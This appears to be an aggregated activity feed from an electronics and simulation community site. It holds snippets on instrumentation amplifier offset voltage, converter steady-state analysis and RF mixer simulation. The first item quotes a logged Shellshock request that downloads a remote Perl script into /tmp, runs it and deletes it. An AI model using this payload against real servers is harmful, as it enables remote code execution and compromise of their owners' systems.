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  • … and the shell shock attempts continue …

    From 174.143.168.121 (174-143-168-121.static.cloud-ips.com) Request: '() { :;}; /bin/bash -c "wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache"' Viewed 26568 times by 2908 viewers...

  • Blog Post: INAs: Offset voltage vs. gain

    Have you ever wondered why a traditional 3-op amp instrumentation amplifier’s offset voltage changes with gain? Figure 1 is an excerpt from the INA333 datasheet that shows an example of the dependence of the offset voltage on device gain. Today, let's walk through how the equation is determined. Figure 1: INA333...

  • Comment on Periodic Steady-State Analysis for DC-to-DC Converters

    Amir, Information about your circuit, your testbench, and the simulator options that you have tried is always useful to provide when asking for assistance with debugging. Here are some things that I look at and have useful in the past. 1) Plot the pulse width versus time to see if the circuit really is in steady state a....

  • Comment on Tips for Simulating a Transmit Mixer in SpectreRF

    Please post questions to the general RF community rather than commenting on a specific blog that is from the past. You will get help much more quickly -and- more people will likely see your question. For detailed information and training on the tool, I recommend contacting customer support at http://support.cadence.com...